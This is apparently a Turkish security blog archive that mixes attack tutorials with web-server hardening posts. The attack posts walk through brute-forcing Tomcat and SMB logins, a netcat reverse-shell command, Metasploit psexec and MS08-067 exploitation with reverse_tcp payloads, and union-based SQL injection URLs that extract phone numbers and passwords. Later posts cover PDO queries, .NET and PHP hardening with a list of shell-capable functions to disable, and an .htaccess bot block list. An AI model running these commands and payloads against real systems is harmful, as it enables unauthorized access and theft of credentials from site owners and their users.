Çarşamba, Temmuz 28

Tomcat 8080-8180 Port Saldırısı


Tomcat 8080/8180 portunda çalışan TCP bazlı bir servisdir.Tomcat saldırıları genelde küçük wordlistlerle gerçekleştirilir.Çünkü Tomcat servisi 15-20 giriş denemesinden sonra kendini 3-5 dakika arası kitler.

Bu yüzden Tomcat servisine manuel kaba kuvvet saldırısı yapmak en mantıklısıdır. Tomcat servisine tarayıcı üzerinden erişilir. Herhangi bir yol ile Tomcat giriş bilgilerine eriştiğimiz bir sisteme .jsp uzantılı dosyalar yüklenebilir.

Bu dosyalar ile uzaktan kod yürütme işlemi gerçekleştirilebilir. Bu dosyalara Github’dan rahatlıkla erişim sağlayabilirsiniz.

Bir örnek vermek gerekirse Uzaktan Kod Yürütme ile kendimize bir Netcat Shell bağlantısı alabiliriz.

terminali açıp şu komutu gireriz:
nc -l -v -p 4444

Uzaktaki komut satırımıza da şu komutu veriyoruz
nc -e bin/bash “ip adresi” 4444 
Ve böylelikle hedefin komut satırında istediğimiz komutları çalıştırabiliriz.(www.sechunterz.pw)
>

SMB(microsoft-ds) SALDIRILARI


SMB servisi 445.port üzerinde çalışan TCP bazlı bir servistir.Bugün anlatacağımız saldırı yöntemi bu servis üzerine brute force yapılmasıdır.Önümüzdeki makalelerde bu servise yönelik daha üst düzey saldırıları anlatacağız. Brute force saldırısını msfconsole üzerinden auxilary ile gerçekleştireceğiz.

use auxilary/scanner/smb/smb_login yazarak auxilarye geçiş yapıyoruz.
show options diyerek auxilary’nin bizden ne istediğini görüyoruz ve set komutu ile dolduruyoruz. Sistemde bildiğimiz bir SMBUSER yoksa Administrator olarak saldırımızı gerçekleştirebiliriz.
set pass_file “wordlist yolu”
set STOP_ON_SUCCESS true yazarak doğru loginleri bulduğunda saldırının durmasını sağlıyoruz.
run diyerek saldırıyı başlatıyoruz. Saldırının başarılı gerçekleştiğini varsayarak devam ediyoruz.”winexe aracını kullanarak bu servise bağlantı sağlayabiliriz.
winexe –user=Administrator%şifre //hedef sistem ip adresi ‘erişmek istediğimiz komut satırı(cmd)’
Bu şekilde hedef sisteme bağlantı sağlayabiliriz.Aynı işlemi msfconsole üzerinden de gerçekleştirebiliriz.
use exploit/windows/smb/psexec
show options diyerek istenenleri dolduruyoruz (set komutu ile)
set payload payload windows/shell/reverse_tcp yazarak sisteme payload atıyoruz.
show options diyerek payloadın bizden istediklerini dolduruyoruz.
run diyerek işlemi başlatıyoruz ve komut satırına erişim sağlıyoruz.
Eğer sistemde oturum açılmaz ise bunun nedeni payloadın mimarisinden kaynaklanıyor olabilir. x32 veyahut x64 payload bir payload vererek aynı işlemleri gerçekleştirip devam edebilirsiniz


SMB Sign Özelliğinden Faydalanmak:
SMB_SİGN özelliği mesaj bloklarında görülen bir imza özelliğidir.Özelliğin sistem yöneticisi tarafından açılmaması durumunda çeşitli(www.sechunterz.pw)yönlendirmelerle hedef sistemde Man İn The Middle(Ortadaki Adam) gerçekleştirilebilir. Sistemde bu özelliğin aktif olup olmadığını “Runfinger” adlı tool ile öğrenebiliriz.
usr/share/responder/tools/Runfinger.py -i hedef ip adresi
Bu toolun çalışma mantığı şöyledir: Bir ip adresi verilir ve bu tool sistemde çalışan tüm cihazların SİGN özelliğini kontrol eder.Cihazların SİGN özelliği FALSE ise yapacağımız saldırı olumlu sonuç verecektir.Bu saldırıyı önümüzdeki makalelerde detaylı şekilde anlatacağız.

Salı, Temmuz 27

Kör Sql Injection (Blind)

Kör Sql Injection Nedir? (Blind)
1=0 1=2 4=3 gibi eşitlik olmayan değerler verildiğinde sitenin verdiği hata ya da sayfadaki değişmelere dayanarak işleme devam eder.
www.test.com/test.php?id=1'and 1=2
Bu url 1=2 şeklinde bir eşitlik false olduğundan hata verecek ya da sayfadaki değişimler sonucunda bilği verecektir.

Kolon Sayısı Tespiti
Kolon Sayısını Bulurken Sayfa Değişkliğini Kullanacağız. And "1=1" Order+By Order+By+1 Sondaki Sayıyı +1 Şeklinde Birer
Birer(www.sechunterz.pw)Artırıyoruz Sayfa Değişinceye Kadar.Burada Kolon Sayısını Hangi Sayıda Sayfa Değiştiğinden Anlayacağız.
www.test.com/test.php?id=1+and+1=1+order+by+1
Sorgu Oluşturma
Burada 1=1 Eşitlik Yerine 1=0 Eşitsizliği Kullanacaz.1=0' sonra "union+select+0,1,2,3" Yazıyoruz.2 Numarayı Kullanacağız
www.test.com/test.php?id=1+and+1=0+union+select+0,1,2,3
Tablo Çekimi
Tablo Çekimi İçin 2 Numaralı Kolon Sayısını Kullancaz
www.test.com/test.php?id=1+and+1=1+union+select+0,1,group_concat(table_name),3+from+test_db.tables
Tablo Veri Çekimi
Normal Sql Gibi Bunuda Öyle Yapacağız Ama Tablo Adını Hexleme Yapmamız Gerektir Ben Örnek Olarak securityTablosunu Çekcem Ve Bunun Hex(www.sechunterz.pw)Değerine Bakalım "68616b616e6e" Burdan Rahatca Bakabilirsiniz
www.test.com/test.php?id=1+and+1=1+union+select+0,1,group_concat(column_name),3+from+test_db.columns+where+table_name='68616b616e6e'
Kolon Veri Çekimi
security Tablosundan Tel Ve Şifre Kolonları Çıktı. Tel Ve Şifre Kolonlarının Değerlerini Öğrenelim.(www.sechunterz.pw)Veriler Karışmasın Diye Kolonlar Arasında "0x3a" Kodunu Ekliyoruz.
www.test.com/test.php?id=1+and+1=1+union+select+0,1,concat(Tel,0x3a,Şifre),3+from+security
www.sechunterz.pw

MS08-067 Zafiyeti Ve Sömürülmesi


Genelde 2000li windows Serverlarda ve xp makinalarda bulunur.
SMB üzerine yazılmış bir exploittir.
Bu zafiyeti tespit etmek için sistem üzerine bilindik bir nmap taraması yapabiliriz.

usr/share/nmap/scripts/
-ls | grap “ms08”
karşımıza çıkan scripti kopyalıyoruz ve
nmap –scripts script adı ip adresi -p445 ile(www.sechunterz.pw)sistemde tarama yaptırıyoruz ve zafiyetin olduğunu gözlemliyoruz.
daha sonra msfconsole’dan
use exploit/windows/smb/ms08_067_netapi
set payload windows/shell/reverse_tcp
Gerekli tüm ayarlamaları yaptıktan sonra run diyerek exploiti başlatıyoruz.

Mail Atıp Site Açık Bildirmek İçin İzlenmesi Gereken Yollar

Bir açığı mail atıcaksanız izlemeniz gereken yollar
1 - Açık türünü yazın
2 - açık türünden bir senaryo yazın
Örenk sql ise veri çekilme xss ise pshing )
3 - açığın nasıl kapayacaklarını yazın
4 - btc cüzdan koyun destek için btc ata bilirsiniz gibi
Chp sitesini subunda bulunan xss açığını bildirdim karşılığında 4$ gibi bir para aldım

Pazar, Temmuz 25

Web Shell Detector


FTP dosyalarınızın içinde php shell olduğundan şüphe ediyorsunuz ?

ancak bunu manuel olarak bulmanın imkanı neredeyse imkansız ve yorucu,

ayrıca zaman alan birşey. Bu paylaşacağımız php dosyasını FTP ana dizine yükleyiniz ve çalıştırın,

FTP de ne var yok tüm zararlıları tespit edip size bildirecektir,

size ise bu shelleri silmek düşer okadar basit.

 https://github.com/emposha/PHP-Shell-Detector

Cumartesi, Temmuz 24

PHP Ziyaretçinin Ip Adresini Alma








 

Çoğu zaman, etkinliği izlemek ve güvenlik nedeniyle ziyaretçinin IP adresini toplamamız gerekir. PHP'de ziyaretçinin IP adresini bulmak çok kolaydır. PHP $ _SERVER değişkeni, kullanıcının IP adresini almanın kolay bir yolunu sağlar.

Ziyaretçinin IP adresini almanın en basit yolu PHP'deki REMOTE_ADDR'yi kullanmaktır.


$ _SERVER ['REMOTE_ADDR'] - Geçerli sayfayı görüntüleyen kullanıcının IP adresini döndürür.

echo 'Kullanıcı IP - '.$_SERVER['REMOTE_ADDR'];


Ancak bazen REMOTE_ADDR, kullanıcının doğru IP adresini döndürmez. Bunun arkasındaki nedeni Proxy kullanmaktır. Bu durumda, PHP'deki kullanıcının gerçek IP adresini almak için aşağıdaki kodu kullanın.


function ipgetir(){


    if(!empty($_SERVER['HTTP_CLIENT_IP'])){

        //ip from share internet

        $ip = $_SERVER['HTTP_CLIENT_IP'];

    }elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){

        //ip pass from proxy

        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

    }else{

        $ip = $_SERVER['REMOTE_ADDR'];

    }

    return $ip;


}


echo 'Kullanıcı Gerçek IP - '.ipgetir();

PHP Hata Gösterme Gizleme




 

PHP hataları genellikle sunucu tarafındaki bir ayarla kapatılır ancak geliştirme aşamasında bazen bu hataları görmek veya gizlemek gerekebilir.

Kodumuzu php satırlarının en başına yada bütün dosyaların etkilenmesini istiyorsak config dosyamız var ise ona ekleyebiliriz.


PHP Hata Gizleme Kodu

error_reporting(0);


PHP Tüm Hataları Gösterme Kodu

error_reporting(E_ALL);

PHP Dışardan İzinsiz Gelen POST ve GET'leri Engelleme


 

Merhabalar sitenize farklı sitelerden gelecek post ve getleri engellemek istiyorsanız vereceğim kodları kullanabilirsiniz.

Not : Bu kodları sitenizin en üst kısmına ekleyin.



$a = $_SERVER['HTTP_REFERER'];

if (strpos($a, 'http://siteadresiniz.com/') !== false) {

    $_SESSION['sitekontrol'] = 'ok';

}

function izinkontrol()

{

  

    if (empty($_SESSION['sitekontrol'])) {

        echo "İZİNSİZ ERİŞİM TALEBİ.";

        exit;

    }

  

}?>


Ardından post veya get işlemlerindeki sorgularınız da aşağıdaki kod ile fonksiyonu kullanabilirsiniz.



izinkontrol();?>

SQL Injection dan Korunma Yöntemi, Pdo Kullanımı






SQL Injection’dan Korunma(www.sechunterz.pw)

PDO’nun en sevdiğim yanı diyebilirim hemen örnek bir saldırı senaryosu oluşturalım.


MYSQL


$connect = mysql_connect("localhost","root","root");


mysql_select_db("portal",$connect);


$sql= "SELECT * FROM uyeler WHERE id = '$_GET[id]'";


$result= mysql_query($sql,$connect);


while ($row=mysql_fetch_array($result))


{


 echo $row['isim']." ";


 echo $row['soyisim']."<br />";


}


echo "<br />";


echo "çalıştırılan sorgu : ".$sql;



Yukarıda yazmış olduğumuz kod çok kolay şekilde ByPasslanmaktadır nasıl diye soracak olursanız id değerine ‘OR ‘x’=’x değerlerini girmeniz yeterli olacaktır uyeler tablosunda ki tüm kullanıcıları listeleyecektir.

PDO ile bu durumu nasıl düzeltebiliriz hemen yazalım



try {


     $db = new PDO("mysql:host=localhost;dbname=portal", "root", "root");


} catch ( PDOException $e ){


     print $e->getMessage();


}


$Gelen = $_GET["id"];


 


$Ara = $db->prepare("SELECT * FROM uyeler WHERE uyeler_id=:id");


 


$Ara->execute(array("id" => $Gelen));


 


$Liste = $Ara->fetchAll(PDO::FETCH_ASSOC);


 


if($Ara->rowCount() != "0"){


 


foreach($Liste as $Bas){


echo $Bas['uyeler_isim'];


echo $Bas['uyeler_soyisim'];


}


else


{


echo " Kullanıcı Bulunamadı";


}



PDO Candır diyerek konumu sonlandırıyorum görüşmek üzere.(www.sechunterz.pw)

Sunucuyu Shell'den Koruma




 Merhabalar


Security üzerine devam etmekteyiz.

Piyasada Shared Web Hosting sunucuları için en büyük tehditlerden bir tanesi de yanlış

konfigürasyonlardan yararlanan kötü niyetli ASP, .Net veya PHP uygulamaları bilinen adıyla Shell.

Her ne kadar işin erbabı özel olarak hazırlanmış shell uygulamaları kullanıp Special Defacement

istatistiğini arttırsa da piyasada bebeler için olan shell uygulamaları da iş görebiliyor (Örneğin:

AspxSpy,CyberSpy5,EFSO.ASP,R57Shell.PHP,C99Shell.PHP gibi).

Bu yazıda kötücül script'lerden korunmak için Web Sunucularında temel olarak yapılması gereken bazı

ayarlamalara değineceğim.

.Net Güvenliği

Net ile geliştirilmiş olan Shell uygulamaları yoğun olarak Framework içindeki System.IO,

Microsoft.Win32,System.Net,System.ServiceProcess,System.Management sınıf kütüphanelerin

kullanır.

Bu sınıf kütüphanelerinin Shared Hosting’de güvenli bir şekilde çalışması için içinde Code Access

Security dediğimiz XML dosyaları vardır.

Kod:

.Net 4.0 için C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config

içindedir...


Eğer Web sunucunuzu .Net Shell’lerin den korumak istiyorsanız bu sınıf kütüphanelerinin güveliğini

kesinlikle sınırlamanız gerekmektedir. Bunun en basiti de varsayılan olarak Full gelen .Net Trust Level’ini

Medium’a çekmektir.

Medium’a çektiğiniz taktirde Shell uygulamalarının sistem derinliklerine ulaşması büyük ölçüde

engellenmiş olur. Tabi bu durum normal uygulamalarında çalışmasını engelleyebilir bu durumda

trust.config dosyalarında bazı oynamalar yapabilirsiniz duruma göre.

Burada dikkat edilmesi gereken Code Access Security izinleri verirken tüm Framework sürümlerinde

(v2.0 ,v4.0) ve platformlarında (x68, x64) verilmesidir.

Kod:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web_mediumtrust.config

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\web_mediumtrust.config

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web_mediumtrust.config

C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\web_mediumtrust.config

Örnek olarak FileIOPermission’ı inceleyelim. Aşağıdaki kural uygulamanın sadece çalıştığı dizinde işlem

yapmasına izin verir. Böylelikle Shell bir üst klasöre çıkma istediğinde SecurityException alır.

Kod:

<IPermission class="FileIOPermission" version="1" Read="$AppDir$"

Write="$AppDir$" Append="$AppDir$" PathDiscovery="$AppDir$" />

Burada ufak bir not düşmekte fayda var:

Medium Trust'a çektiğiniz .NET Level'i içinde bazı temel .NET kütüphaneleri yoktur. Bunları aşağıda

veriyorum.

Kod:

System.Data.OleDb, System.Configuration, System.Net, System.Net.Mail

bunların PermissionSet dediğimiz parametrelerini elle girmeniz gerekir ki normal .net uygulamalarınız

sorunsuz çalışabilsin.

Trust config’de yapılan değişiklikler (Buradaki ilgili config web_mediumtrust.config oluyor) bir alt uygulama

tarafından ezilebilir (override) bunun için allowOverride özellğini “false” olarak işaretlemek gerekir yoksa

web sitesinin en alt seviyedeki web.config root web.config'den aldığı miras neticesinde Trust Level

değerini Full olarak değiştirir ve güvenlik yüzeyinin artmasına neden olabilir.

Bunu önlemek için:

Kod:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config içinden

<location allowOverride="true">

değerini

<location allowOverride="false">

şeklinde değiştirin.

Diğer önemli olan konu ise sunucu üzerindeki NTFS (IT Procular ACL demeyi sever. Ben haklar diyorum)

kullanıcı hakları.

IIS’in Impersonate (bir kullanıcının başka bir kullanıcı gibi hareket etmesi olayı) özelliği Anonymous

kullanıcı seviyesinden User Grubu kullanıcı seviyesine kadar çıkabilen bazı özellikler içerir bu nedenle

User grubuna yetki verilmiş yerlere direkt erişim sağlanabilecek hale gelebilir.

Bu nedenle gerekmeyen her yerde User grubunun haklarını kaldırmanız Shell uygulamalarını sunucunun

diskinin orasına burasına erişmesini büyük ölçüde engeller.

Örneğin: IceWarp Merak Mail’in çalıştığı klasörün (C:\Program Files (x86)\IceWarp) bir üst

klasörden aldığı hak miraslarını iptal edip sadece SYSTEM ve Administrator grup haklarına sahip

olmasının sağlanması gerekir ki herkes her önüne gelen config dosyalarını okuyamasın. (Tabi servisin

kullandığı başka kullanıcılar varsa bunu da göz önünde bulundurmak gerekir.)

● Sunucudaki klasörlerin hak kontrollerini yapmak için AccessEnum (http://technet.microsoft.com/

en-us/sysinternals/bb897332) aracını kullanabilirsiniz.

Aynı şekilde IIS’inde unutmamak gerekir.

IIS’i korumak için C:\Windows\System32\inetsrv\config klasörü içindeki *.config uzantılı

dosyaların haklarından Users grubunu kaldırmak doğru olur. Gerçi varsayılan olarak öyle geliyor fakat

yine de bazı uygulamalar kendi kafasına göre değiştirebiliyor.

Bazı Shell uygulamalarından mevcut disklerin listelenmesi Group Policy’den engellenebilir. Şöyle ki;

Windows Tuşu + R’ye bastıktan sonra gpedit.msc yazın ve User Configuration > Administrative

Templates > Windows Components > Windows Explorer > Hide these specific drives in My Computer

Restrict All Drives seçeneğini “Enable” yapıp “Restrict All Driver” komutunu verin. Bu Bilgisayarıma

tıkladığınızda size Diskleri göstermez biraz rahatsız edici ama yine de ek bir önlem


Shell uygulamaları sunucu üzerinde herhangi bir işlem yapmak için genelde sistemde hazır

olan çalıştırılabilir uygulamaları kullanırlar (cmd.exe, cacls.exe, ping.exe gibi) bu hem Code

Access Security’i atlatmak hemde daha az kod yazmak adına iyidir. Bu nedenle sunucunuzdaki

C:\Windows\System32\.exe ve C:\Windows\Syswow64\.exe klasörlerinde *.exe uzantılı dosyaların

erişimlerini minimum’a indirmek doğru bir hamle olur.

Bu kritik klasördeki *.exe erişimlerini değiştirmek için öncelikle dosyaların sahipliğini Administrator’a

çevirmek gerekir.

Sistemde Administrator hakları ile giriş yapmışken aşağıdaki komutu verin:

takeown /F c:\Windows\system32*.exe

Bu komut System32 klasöründeki tüm .exe uzantılı dosyaların sahipliğini Administrator’a çevirecektir

(Default olarak TrustedInstaller gelir)

Daha sonra aşağıdaki komutu çalıştırın:

calcs c:\Windows\System32*.exe /E /D Users

Bu komut da System32 klasöründeki tüm .exe uzantılı dosyaların haklarından Users grubunun kaldırır.


PHP Güvenliği

PHP ile geliştirilmiş olan shell uygulamaları içinde php.ini’de yapılacak bir kaç ayar var.

Öncelikle sakat fonksiyonları kapatmakla başlamak gerekir. PHP Shell script'lerini incelerseniz çeşitli

zaafları sömürmek için kullanılan temel fonksiyonların olduğunu keşfedersiniz yani sorunu kökünden

çözmek için bunları tespit edip kapatmak mantıklı bir hareket olacaktır. İşte o fonksiyonlar;

exec, dl, passthru, shell_exec, system, eval, popen, fsockopen,

proc_open, proc_get_status, proc_nice, proc_terminate, show_source,

stream_socket_server, symlink, link, lchgrp, lchown, chown, chgrp,

posix_initgroups, posix_kill, posix_mkfifo, posix_mknod, and

posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid,

posix_setuid

php.ini dosyasında “disable_functions” değerinin karşısına yukarıdaki satırı ekledikten sonra bir çok

shell script'ini elemine etmiş oluyorsunuz.

Bir başka ayarda allow_url_fopen‘ın Off olması buna bağlı olarak da allow_url_include ‘un da Off

olması web sitesi güvenliği ve selameti için iyi olur.

PHP için kilit noktalardan bir tanesi de her web sitesi için müstakil bir php.ini dosyasının yaratılması ve

siteyi onun üzerinden çalıştırmak olacaktır. Böylece her sitenin özel upload_tmp_dir‘ı disable_functions’ı

veya disabled_classes’ı olabilir


Yazılırken Kullanılan Referanslar

● http://msdn.microsoft.com/en-us/library/ff649487.aspx

● http://msdn.microsoft.com/en-us/library/dd984947.aspx

● http://msdn.microsoft.com/en-us/library/system.security.permissions.fileiopermission.aspx

● http://wiki.maestropanel.com/MaestroPanel-PHP-Ayarları.ashx

.htaccess bot koruması


 


.htaccess icine yapıstırın.

# SIKIŞžTIRMAYI AKTIFLESTIRIYORUZ

<ifModule mod_php4.c>

php_value zlib.output_compression 16386

</ifModule>


<IfModule mod_gzip.c>

 Header add X-Enabled mod_gzip

</IfModule>


<IfModule mod_deflate.c>

 Header add X-Enabled mod_deflate

</IfModule>


<Files *.js.gz>

AddEncoding gzip .js

ForceType text/javascript

</Files>


<Files *.css.gz>

AddEncoding gzip .css

ForceType text/css

</Files>

##################################################################


#CACHE KONTROL AKTIFLESTIRIYORUZ

<ifModule mod_headers.c>

<filesMatch "\.(ico|jpe?g|png|gif|swf)$">

Header set Cache-Control "public"

</filesMatch>

<filesMatch "\.(css)$">

Header set Cache-Control "public"

</filesMatch>

<filesMatch "\.(js)$">

Header set Cache-Control "private"

</filesMatch>

<filesMatch "\.(x?html?|php)$">

Header set Cache-Control "private, must-revalidate"

</filesMatch>

</ifModule>

##################################################################


#SITE ZIYARET BOTLARINI ENGELLIYORUZ

SetEnvIfNoCase User-Agent ^$ bad_bot

SetEnvIfNoCase User-Agent "^AESOP_com_SpiderMan" bad_bot

SetEnvIfNoCase User-Agent "^Alexibot" bad_bot

SetEnvIfNoCase User-Agent "Anonymouse.org" bad_bot

SetEnvIfNoCase User-Agent "^asterias" bad_bot

SetEnvIfNoCase User-Agent "^attach" bad_bot

SetEnvIfNoCase User-Agent "^BackDoorBot" bad_bot

SetEnvIfNoCase User-Agent "^BackWeb" bad_bot

SetEnvIfNoCase User-Agent "Bandit" bad_bottest

SetEnvIfNoCase User-Agent "^Baiduspider" bad_bot

SetEnvIfNoCase User-Agent "^BatchFTP" bad_bot

SetEnvIfNoCase User-Agent "^Bigfoot" bad_bot

SetEnvIfNoCase User-Agent "^Black.Hole" bad_bot

SetEnvIfNoCase User-Agent "^BlackWidow" bad_bot

SetEnvIfNoCase User-Agent "^BlowFish" bad_bot

SetEnvIfNoCase User-Agent "^Bot mailto:[email protected]" bad_bot

SetEnvIfNoCase User-Agent "^BotALot" bad_bot

SetEnvIfNoCase User-Agent "Buddy" bad_bot

SetEnvIfNoCase User-Agent "^BuiltBotTough" bad_bot

SetEnvIfNoCase User-Agent "^Bullseye" bad_bot

SetEnvIfNoCase User-Agent "^BunnySlippers" bad_bot

SetEnvIfNoCase User-Agent "^Cegbfeieh" bad_bot

SetEnvIfNoCase User-Agent "^CheeseBot" bad_bot

SetEnvIfNoCase User-Agent "^CherryPicker" bad_bot

SetEnvIfNoCase User-Agent "^ChinaClaw" bad_bot

SetEnvIfNoCase User-Agent "Collector" bad_bot

SetEnvIfNoCase User-Agent "Copier" bad_bot

SetEnvIfNoCase User-Agent "^CopyRightCheck" bad_bot

SetEnvIfNoCase User-Agent "^cosmos" bad_bot

SetEnvIfNoCase User-Agent "^Crescent" bad_bot

SetEnvIfNoCase User-Agent "^Curl" bad_bot

SetEnvIfNoCase User-Agent "^Custo" bad_bot

SetEnvIfNoCase User-Agent "^DA" bad_bot

SetEnvIfNoCase User-Agent "^DISCo" bad_bot

SetEnvIfNoCase User-Agent "^DIIbot" bad_bot

SetEnvIfNoCase User-Agent "^DittoSpyder" bad_bot

SetEnvIfNoCase User-Agent "^Download" bad_bot

SetEnvIfNoCase User-Agent "^Download Demon" bad_bot

SetEnvIfNoCase User-Agent "^Download Devil" bad_bot

SetEnvIfNoCase User-Agent "^Download Wonder" bad_bot

SetEnvIfNoCase User-Agent "Downloader" bad_bot

SetEnvIfNoCase User-Agent "^dragonfly" bad_bot

SetEnvIfNoCase User-Agent "^Drip" bad_bot

SetEnvIfNoCase User-Agent "^eCatch" bad_bot

SetEnvIfNoCase User-Agent "^EasyDL" bad_bot

SetEnvIfNoCase User-Agent "^ebingbong" bad_bot

SetEnvIfNoCase User-Agent "^EirGrabber" bad_bot

SetEnvIfNoCase User-Agent "^EmailCollector" bad_bot

SetEnvIfNoCase User-Agent "^EmailSiphon" bad_bot

SetEnvIfNoCase User-Agent "^EmailWolf" bad_bot

SetEnvIfNoCase User-Agent "^EroCrawler" bad_bot

SetEnvIfNoCase User-Agent "^Exabot" bad_bot

SetEnvIfNoCase User-Agent "^Express WebPictures" bad_bot

SetEnvIfNoCase User-Agent "Extractor" bad_bot

SetEnvIfNoCase User-Agent "^EyeNetIE" bad_bot

SetEnvIfNoCase User-Agent "^FileHound" bad_bot

SetEnvIfNoCase User-Agent "^FlashGet" bad_bot

SetEnvIfNoCase User-Agent "^Foobot" bad_bot

SetEnvIfNoCase User-Agent "^flunky" bad_bot

SetEnvIfNoCase User-Agent "^FrontPage" bad_bot

SetEnvIfNoCase User-Agent "^GetRight" bad_bot

SetEnvIfNoCase User-Agent "^GetSmart" bad_bot

SetEnvIfNoCase User-Agent "^GetWeb!" bad_bot

SetEnvIfNoCase User-Agent "^Go!Zilla" bad_bot

SetEnvIfNoCase User-Agent "Google Wireless Transcoder" bad_bot

SetEnvIfNoCase User-Agent "^Go-Ahead-Got-It" bad_bot

SetEnvIfNoCase User-Agent "^gotit" bad_bot

SetEnvIfNoCase User-Agent "Grabber" bad_bot

SetEnvIfNoCase User-Agent "^GrabNet" bad_bot

SetEnvIfNoCase User-Agent "^Grafula" bad_bot

SetEnvIfNoCase User-Agent "^Harvest" bad_bot

SetEnvIfNoCase User-Agent "^hloader" bad_bot

SetEnvIfNoCase User-Agent "^HMView" bad_bot

SetEnvIfNoCase User-Agent "^httplib" bad_bot

SetEnvIfNoCase User-Agent "^HTTrack" bad_bot

SetEnvIfNoCase User-Agent "^humanlinks" bad_bot

SetEnvIfNoCase User-Agent "^ia_archiver" bad_bot

SetEnvIfNoCase User-Agent "^IlseBot" bad_bot

SetEnvIfNoCase User-Agent "^Image Stripper" bad_bot

SetEnvIfNoCase User-Agent "^Image Sucker" bad_bot

SetEnvIfNoCase User-Agent "Indy Library" bad_bot

SetEnvIfNoCase User-Agent "^InfoNaviRobot" bad_bot

SetEnvIfNoCase User-Agent "^InfoTekies" bad_bot

SetEnvIfNoCase User-Agent "^Intelliseek" bad_bot

SetEnvIfNoCase User-Agent "^InterGET" bad_bot

SetEnvIfNoCase User-Agent "^Internet Ninja" bad_bot

SetEnvIfNoCase User-Agent "^Iria" bad_bot

SetEnvIfNoCase User-Agent "^Jakarta" bad_bot

SetEnvIfNoCase User-Agent "^JennyBot" bad_bot

SetEnvIfNoCase User-Agent "^JetCar" bad_bot

SetEnvIfNoCase User-Agent "^JOC" bad_bot

SetEnvIfNoCase User-Agent "^JustView" bad_bot

SetEnvIfNoCase User-Agent "^Jyxobot" bad_bot

SetEnvIfNoCase User-Agent "^Kenjin.Spider" bad_bot

SetEnvIfNoCase User-Agent "^Keyword.Density" bad_bot

SetEnvIfNoCase User-Agent "^larbin" bad_bot

SetEnvIfNoCase User-Agent "^LeechFTP" bad_bot

SetEnvIfNoCase User-Agent "^LexiBot" bad_bot

SetEnvIfNoCase User-Agent "^lftp" bad_bot

SetEnvIfNoCase User-Agent "^libWeb/clsHTTP" bad_bot

SetEnvIfNoCase User-Agent "^likse" bad_bot

SetEnvIfNoCase User-Agent "^LinkextractorPro" bad_bot

SetEnvIfNoCase User-Agent "^LinkScan/8.1a.Unix" bad_bo

SetEnvIfNoCase User-Agent "^LNSpiderguy" bad_bott

SetEnvIfNoCase User-Agent "^LinkWalker" bad_bot

SetEnvIfNoCase User-Agent "^lwp-trivial" bad_bot

SetEnvIfNoCase User-Agent "^LWP::Simple" bad_bot

SetEnvIfNoCase User-Agent "^Magnet" bad_bot

SetEnvIfNoCase User-Agent "^Mag-Net" bad_bot

SetEnvIfNoCase User-Agent "^MarkWatch" bad_bot

SetEnvIfNoCase User-Agent "^Mass Downloader" bad_bot

SetEnvIfNoCase User-Agent "^Mata.Hari" bad_bot

SetEnvIfNoCase User-Agent "^Memo" bad_bot

SetEnvIfNoCase User-Agent "^Microsoft.URL" bad_bot

SetEnvIfNoCase User-Agent "^Microsoft URL Control" bad_bot

SetEnvIfNoCase User-Agent "^MIDown tool" bad_bot

SetEnvIfNoCase User-Agent "^MIIxpc" bad_bot

SetEnvIfNoCase User-Agent "^Mirror" bad_bot

SetEnvIfNoCase User-Agent "^Missigua Locator" bad_bot

SetEnvIfNoCase User-Agent "^Mister PiX" bad_bot

SetEnvIfNoCase User-Agent "^moget" bad_bot

SetEnvIfNoCase User-Agent "^Mozilla/3.Mozilla/2.01" bad_bot

SetEnvIfNoCase User-Agent "^Mozilla.*NEWT" bad_bot

SetEnvIfNoCase User-Agent "^NAMEPROTECT" bad_bot

SetEnvIfNoCase User-Agent "^Navroad" bad_bot

SetEnvIfNoCase User-Agent "^NearSite" bad_bot

SetEnvIfNoCase User-Agent "^NetAnts" bad_bot

SetEnvIfNoCase User-Agent "^Netcraft" bad_bot

SetEnvIfNoCase User-Agent "^NetMechanic" bad_bot

SetEnvIfNoCase User-Agent "^NetSpider" bad_bot

SetEnvIfNoCase User-Agent "^Net Vampire" bad_bot

SetEnvIfNoCase User-Agent "^NetZIP" bad_bot

SetEnvIfNoCase User-Agent "^NextGenSearchBot" bad_bot

SetEnvIfNoCase User-Agent "^NG" bad_bot

SetEnvIfNoCase User-Agent "^NICErsPRO" bad_bot

SetEnvIfNoCase User-Agent "^NimbleCrawler" bad_bot

SetEnvIfNoCase User-Agent "^Ninja" bad_bot

SetEnvIfNoCase User-Agent "^NPbot" bad_bot

SetEnvIfNoCase User-Agent "^Octopus" bad_bot

SetEnvIfNoCase User-Agent "^Offline Explorer" bad_bot

SetEnvIfNoCase User-Agent "^Offline Navigator" bad_bot

SetEnvIfNoCase User-Agent "^Openfind" bad_bot

SetEnvIfNoCase User-Agent "^OutfoxBot" bad_bot

SetEnvIfNoCase User-Agent "^PageGrabber" bad_bot

SetEnvIfNoCase User-Agent "^Papa Foto" bad_bot

SetEnvIfNoCase User-Agent "^pavuk" bad_bot

SetEnvIfNoCase User-Agent "^pcBrowser" bad_bot

SetEnvIfNoCase User-Agent "^PHP version tracker" bad_bot

SetEnvIfNoCase User-Agent "^Pockey" bad_bot

SetEnvIfNoCase User-Agent "^ProPowerBot/2.14" bad_bot

SetEnvIfNoCase User-Agent "^ProWebWalker" bad_bot

SetEnvIfNoCase User-Agent "^psbot" bad_bot

SetEnvIfNoCase User-Agent "^Pump" bad_bot

SetEnvIfNoCase User-Agent "^QueryN.Metasearch" bad_bot

SetEnvIfNoCase User-Agent "^RealDownload" bad_bot

SetEnvIfNoCase User-Agent "Reaper" bad_bot

SetEnvIfNoCase User-Agent "Recorder" bad_bot

SetEnvIfNoCase User-Agent "^ReGet" bad_bot

SetEnvIfNoCase User-Agent "^RepoMonkey" bad_bot

SetEnvIfNoCase User-Agent "^RMA" bad_bot

SetEnvIfNoCase User-Agent "Siphon" bad_bot

SetEnvIfNoCase User-Agent "sitecheck.internetseer.com" bad_bot

SetEnvIfNoCase User-Agent "^SiteSnagger" bad_bot

SetEnvIfNoCase User-Agent "^SlySearch" bad_bot

SetEnvIfNoCase User-Agent "^SmartDownload" bad_bot

SetEnvIfNoCase User-Agent "^Snake" bad_bot

SetEnvIfNoCase User-Agent "^Snapbot" bad_bot

